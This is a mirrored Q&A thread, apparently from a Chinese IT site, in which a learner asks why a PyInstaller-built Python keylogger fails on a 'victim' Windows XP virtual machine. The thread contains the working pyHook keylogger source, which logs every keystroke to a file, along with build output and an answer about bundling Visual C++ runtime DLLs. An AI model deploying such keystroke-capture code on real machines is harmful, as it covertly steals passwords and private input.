由Pyinstaller创建的exe在一台机器上运行,但在另一台机器上显示错误 [英] Exe created by Pyinstaller runs on one machine, but gives error on another

查看:50
本文介绍了由Pyinstaller创建的exe在一台机器上运行,但在另一台机器上显示错误的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

主机操作系统:Windows 10(64位)

Host OS: Windows 10, 64-bit

Python:版本2.7,32位

Python: Version 2.7, 32-bit

对于道德黑客,我正在观看视频,道德黑客Python键盘记录器

For Ethical Hacking, I am following video, Ethical Hacking Python Keylogger

我为每个视频创建了代码,

I created the code per the video,

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后我使用Pyinstaller转换为.exe,即

then I converted to .exe using Pyinstaller, i.e

pyinstaller --debug --onefile --noupx keylogger.pyw

.exe 可在我的计算机上运行,即Windows 10(64位).

And the .exe works on my computer, i.e. Windows 10, 64-bit.

但是,当我在32位Windows XP(vmware上的虚拟机)上执行时,出现错误

However, when I execute on Windows XP, 32-bit (virtual machine on vmware), I get error

此应用程序无法启动,因为未找到msvcr100.dll.重新安装该应用程序可能会解决此问题

同样,代码是我个人网络上的道德黑客行为.不能在Windows XP(受害者"计算机)上安装msvcr100.dll.

Again, code is for ethical hacking exercise on my personal network. Installing msvcr100.dll on Windows XP (the "victim" machine) is not an option.

  1. 如何使用pyinstaller捆绑msvcr100.dll

  1. How to bundle msvcr100.dll using pyinstaller

如何使用pyinstaller捆绑所有可能的dll等

How to bundle all possible dlls, etc using pyinstaller

谢谢

我尝试包括所有Windows DLL的目录,但是它不起作用,即出现巨大的错误消息

I tried including directory with all Windows DLLs, but it doesn't work, i.e. huge error message

pyinstaller --debug --onefile --noupx C:\ Windows \ System32 \ *.dll keylogger.pyw

这是调试输出.它会查找 msvcp90.dll ,而不是`msvcr100.dll

Here is debug output. It looks for msvcp90.dll,but not `msvcr100.dll

如何解决?

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
116 INFO: PyInstaller: 3.2
116 INFO: Python: 2.7.12
116 INFO: Platform: Windows-10-10.0.10586
116 INFO: wrote c:\Python27\Malware\keylogger.spec
131 INFO: UPX is not available.
131 INFO: Extending PYTHONPATH with paths
['c:\\Python27\\Malware', 'c:\\Python27\\Malware']
131 INFO: checking Analysis
131 INFO: Building Analysis because out00-Analysis.toc is non existent
131 INFO: Initializing module dependency graph...
148 INFO: Initializing module graph hooks...
185 INFO: running Analysis out00-Analysis.toc
185 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
  required by c:\python27\python.exe
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
301 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
386 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9177_none ...
386 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9.manifest
402 INFO: Searching for file msvcr90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcr90.dll
402 INFO: Searching for file msvcp90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcp90.dll
402 INFO: Searching for file msvcm90.dll
417 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcm90.dll
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
517 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
5078 INFO: Caching module hooks...
5085 INFO: Analyzing c:\Python27\Malware\keylogger.pyw
6157 INFO: Loading module hooks...
6157 INFO: Loading module hook "hook-pywintypes.py"...
6331 INFO: Loading module hook "hook-encodings.py"...
6715 INFO: Loading module hook "hook-pythoncom.py"...
6907 INFO: Looking for ctypes DLLs
6907 INFO: Analyzing run-time hooks ...
6907 INFO: Looking for dynamic libraries
16654 WARNING: Attempted to add Python module twice with different upper/lowercases: pyHook._cpyHook
16657 INFO: Looking for eggs
16657 INFO: Using Python library C:\WINDOWS\system32\python27.dll
16662 INFO: Found binding redirects:
[BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9177), publicKeyToken=u'1fc8b3b9a1e18e3b')]
16667 INFO: Warnings written to c:\Python27\Malware\build\keylogger\warnkeylogger.txt
16713 INFO: checking PYZ
16713 INFO: Building PYZ because out00-PYZ.toc is non existent
16729 INFO: Building PYZ (ZlibArchive) c:\Python27\Malware\build\keylogger\out00-PYZ.pyz
17083 INFO: checking PKG
17084 INFO: Building PKG because out00-PKG.toc is non existent
17085 INFO: Building PKG (CArchive) out00-PKG.pkg
17113 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
18460 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run_d.exe
18463 INFO: checking EXE
18465 INFO: Building EXE because out00-EXE.toc is non existent
18470 INFO: Building EXE from out00-EXE.toc
18470 INFO: Appending archive to EXE c:\Python27\Malware\dist\keylogger.exe

推荐答案

您不必安装运行程序所需的dll.但是,它们确实必须可用.可以通过将它们包括在.exe文件所在的当前工作目录中来实现.

You don't have to install the dll(s) required to run the program. They do however have to be available. This can be achieved by including them in the current working directory of where the .exe file is located.

其他信息:此处缺少的DLL是 Microsoft的Visual C ++可再发行运行时库的一部分.它们提供了一组可执行功能,这些功能支持已编译程序的运行.之所以将它们称为可再分发",是因为编写程序的开发人员无需支付许可费即可将其包含在程序中.现在,将它们放在您的程序中的简单方法是在程序中包含dll库的安装程序,因此您不必弄清楚哪些DLL是必需的,哪些不是必需的.这也意味着,系统上使用的并且需要DLL之一的任何其他人的程序都将被设置为可用.它可能还会在先前安装的顶部(作为正式安装的一部分)安装该库(如果正在进行正式安装),但是系统上将只有一组具有这些名称的DLL.

Additional information: The DLLs missing here are part of Microsoft's Visual C++ Redistributable runtime library. They provide a set of executable functions that support the running of compiled programs. The reason they are called "redistributable" is that a developer who writes a program is not required to pay a license fee to include them with their program. Now the easy way to have them be there for your program is to include the installer for the dll library with your program so you don't have to figure out which DLLs are needed and which ones are not. This also means that any other person's program that is used on the system and needs one of the DLLs will be all set to go. It might also install the library over the top of the previous installation as part of its own installation (if it's doing a formal install) but there will only be the one set of DLLs with those names on the system.

因此,如果知道所有您仍然不想安装该库,则唯一的选择是找出程序需要哪些DLL,并逐个复制它们,因为错误消息会告诉您哪个DLL是下一个它不见了.在程序的工作目录中具有所需的DLL是将它们与程序捆绑在一起的另一种方法.可能是两个,也可能是一百.当然,您可能只是将整个库复制到您的工作目录中,但在这种情况下,您可能还刚刚在系统上安装了该库.这是一个关于您对特定捆绑方式设置多少决心的问题.

So, if knowing all of that you still don't want to install the library, your only other choice is to figure out which DLLs your program requires, copying them one by one, as the error messages tell you which DLL is the next one it is missing. Having the required DLLs in the working directory of your program is another way of bundling them with your program. It might be two and it might be a hundred. Of course, you might just copy the entire library into your working directory but in that case you might as well have just installed the library on the system. It is kind of a question of how much determination you have set on a particular way of bundling.

以下是一个下载页面,如果您走的更简单(我认为您需要的是2010年):

The following is a download page should you go the easier route (I think the one you needed was 2010):

https://support.microsoft.com/en-us/kb/2977003

这篇关于由Pyinstaller创建的exe在一台机器上运行,但在另一台机器上显示错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
相关文章
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆